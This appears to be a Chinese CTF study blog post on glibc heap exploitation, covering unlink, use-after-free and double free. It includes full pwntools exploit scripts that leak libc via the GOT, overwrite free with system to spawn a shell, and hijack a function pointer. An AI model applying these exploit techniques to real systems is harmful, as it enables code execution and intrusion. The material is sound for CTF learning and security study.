语雀how2heap

模板:

主题

知识点

解题思路

复现


fastbin_dup_into_stack部分

在这里插入图片描述
此语句能够得到 stack_var 的地址 令我不解
在这里插入图片描述
在这里插入图片描述
同理此语句可完成如此功能 令我不解

unlink

相应的题目是 ctfshow中1024杯的unlink
解题参考
知识点讲解1
知识点讲解2

知识点unlink

在这里插入图片描述

这是上图中最下方 bss段看 的真实结构(上边是抽象,不要和 正常申请的chunk处搞混了)
在这里插入图片描述

在这里插入图片描述

解题思路

伪造四个chunk 编号0,1,2,3
任务区分
0 泄露函数地址;改写free的got地址为system()的地址
1 伪造fake_chunk,辅助触发unlink;
2 进行free来unlink的chunk
3 填入“/bin/sh”然后free(实际上是system())拿到脚本的chunk
具体实施

  1. 先申请4个chunk
    在这里插入图片描述
    这是在bss段全局变量的样子

  2. 对1号chunk进行伪造

  3. free 2号
    (此时最关键的步骤unlink已经完成)
    在这里插入图片描述

  4. 修改 1号 (实际上修改的是bss段全局变量部分的位置)结果是,本该是0号chunk地址的位置被改为了free的got地址(相当于free的got表处可以被当作chunk利用)

在这里插入图片描述

在这里插入图片描述

  1. show(0),成功泄露函数地址(其利用涉及栈的利用不在此赘述)
  2. 修改 0号 结果将free的got地址修改成了system()的地址
  3. 给3号填入“/bin/sh”,然后free(实际上是system())拿到脚本的chunk

注意
bss段储存的chunk地址是会变化的,所以在看图的时候不要纠结于此
在这里插入图片描述

复现

exp

from pwn import *

sh=process('./unlink.ctfshow')
#sh=remote('111.231.70.44',28099)
elf=ELF('./unlink.ctfshow')
#context.log_level='debug'
libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

def add(index,size):
	sh.recvuntil(': ')
	sh.sendline('1')
	sh.recvuntil('idx: ')
	sh.sendline(str(index))
	sh.recvuntil(': ')
	sh.sendline(str(size))

def free(index):
	sh.recvuntil(': ')
	sh.sendline('2')
	sh.recvuntil('idx: ')
	sh.sendline(str(index))

def show(index):
	sh.recvuntil(': ')
	sh.sendline('3')
	sh.recvuntil('idx: ')
	sh.sendline(str(index))

def edit(index,content):
	sh.recvuntil(': ')
	sh.sendline('4')
	sh.recvuntil('idx: ')
	sh.sendline(str(index))
	sh.recvuntil(': ')
	sh.send(content)

chunk_ptr=0x6020f0
fd=chunk_ptr-0x18
bk=chunk_ptr-0x10
free_got=elf.got['free']
system_got = libc.sym['system']

add(0,0x60) 
add(1,0x88) 
add(2,0x80) 
add(3,'/bin/sh\x00')
edit(1,p64(0)+p64(0x81)+p64(fd)+p64(bk)+'a'*0x60+p64(0x80)+'\x90')
#gdb.attach(sh)
free(2)
edit(1,"a"*0x8+p64(free_got))
show(0)
fre = u64(sh.recv(6).ljust(8,'\x00'))
libc_base = fre-0x0844f0 #local 0x084540;remote 0x0844f0
print(hex(fre))
print(hex(system_got))
system = 0x045390 + libc_base #local 0x453a0;remote 0x045390
sh.success('system: '+hex(system))
edit(0,p64(system))
edit(3,'/bin/sh\x00')
gdb.attach(sh)
free(3)
#sh.recv()
sh.interactive()

遇到问题

  1. 申请4个chunk时大小问题
    几乎相同的脚本却申请出不同大小的chunk
    在这里插入图片描述
    左边正常
    在这里插入图片描述
    右边异常
    在这里插入图片描述

  2. system()函数如何将‘/bin/sh’作为参数的

  3. 本地,却用的是remote的偏移,但是在gdb.attach()的情况下就可以得到shell
    在这里插入图片描述

  4. 与函数地址泄露相关的部分 free 与 system的地址(已解决)
    这个在栈的学习里遇到过,为了回顾再过一次
    首先是泄露出了 free 的地址
    将其后三位放到libc database search进行查询,得到相应的libc版本,同时获得了free和system 的偏移,加以利用,便可以知道两个函数的真实地址。
    需要注意的是
    free() 是在题目下发的文件中的got表里的
    system()是运行此elf文件时相应的动态链接库中的函数表里的
    在这里插入图片描述

  5. 0x6020f0 应该是全局变量所造成的,但具体不知道怎么找到
    有一个方法是,我大概知道他在bss段,所以可以查看bss段,最后就能够找到全局变量的位置

  6. fd=chunk_ptr-0x18 24=3*8
    这里8是如何确定的

  7. 申请的堆的大小和真实的堆的大小不一样

  8. 申请堆的大小要在一定情况下才能够对堆的prev_inuse位进行覆盖
    异常情况(堆有些小时)
    在这里插入图片描述
    正常情况
    在这里插入图片描述

  9. 查看固定内存存放内容时,由于大小端的问题,可能结果与预想有所不同

  10. 在运行add()函数时,添加序号的不同也会导致一些问题出现
    在这里插入图片描述
    在这里插入图片描述

use after free

例题是ctfwiki里的 HITCON training lab10 hacknote
参考

知识点

free()后,指针不会置NULL

在free后,其堆里边的内容会置空,但它在指针列表(也可以说是全局变量处的之前定义的列表,这个名词是我自己编的)中的内容不会被清空,如下:
分别在,刚申请两个后,刚释放两个后,再申请一个后 进入gdb调试
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以看到指针列表没有被NULL

fastbin是后进先出

先形象的看一下pwndbg里的fastbin
在这里插入图片描述
free()后,指针不会置NULL的图可以看出,在释放堆时,释放顺序 0 1
在申请大小为8的堆时,后进的堆块 1,被放入了printf 等,而先进的堆块 0,被放入了magic地址。
参照一开始申请的那两个 先申请的会放入printf,然后申请的放入输入的内容
可以知道在申请大小为 8 的是堆时,申请顺序为 0 1
这符合了fastbin是后进先出
在这里插入图片描述

解题思路

解题时要具体题目,具体分析

  1. 申请两个大小为20的堆
    申请一个时,在本题中其实会申请两个,一个0x10size,另一个按照申请的大小。0x10size中会放入printf()函数地址和另一个按照申请的大小的chunk的地址,如图。
    另一个按照申请的大小的chunk 则放入输入的内容
    在这里插入图片描述

  2. 再释放掉

  3. 再申请一个大小为10的堆,并输入内容magic()函数地址
    实际上申请的是那两个位于fasbin表中的大小为0x10size 的chunk

  4. 查看第一个堆(实际上是调用magic())

复现

exp

#!/usr/bin/env python

# -*- coding: utf-8 -*-
from pwn import *

r = process('./hacknote')

def addnote(size, content):

    r.recvuntil(":")

    r.sendline("1")

    r.recvuntil(":")

    r.sendline(str(size))

    r.recvuntil(":")

    r.sendline(content)

def delnote(idx):

    r.recvuntil(":")

    r.sendline("2")

    r.recvuntil(":")

    r.sendline(str(idx))

def printnote(idx):

    r.recvuntil(":")

    r.sendline("3")

    r.recvuntil(":")

    r.sendline(str(idx))

magic = 0x08048986

addnote(20, "aaaa")

addnote(20, "ddaa")

#addnote(20, "cccc")

gdb.attach(r)

delnote(0)

delnote(1)

#delnote(2)

gdb.attach(r)

addnote(8, p32(magic))

#addnote(20, p32(magic))

#addnote(20, p32(magic))

gdb.attach(r)

printnote(0)



r.interactive()

double free

知识点

One gadget 限制条件
__malloc_hook初体验
Unsorted_bin利用
Heap-泄露Main_arena与Heap地址
fastbin double free

解题思路

复现

其他问题

在做mulnote时的问题

  1. one_gadget 没办法在libc中找到有效信息,所以查找不到对应的one_gadget 之后,没办法正确得到shell
    在这里插入图片描述
    感觉是ruby版本太久的问题,于是更新ruby版本
    果然
    在这里插入图片描述
    在这里插入图片描述
    在解决这个问题时,遇到了 One gadget 限制条件剖析 的文章,便看了看,不过本题未涉及

  2. gdb 在释放掉unsturbin之后没有办法打开,我就没法看到heap,bins等 没法调试
    在这里插入图片描述
    同理,感觉是版本的问题于是重新升级
    参考
    参考
    gdb源
    其中遇到一个问题,就是说在安装包时,ubuntu 应该使用apt-get
    在这里插入图片描述

所以我准备换一道题来学习 double free

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值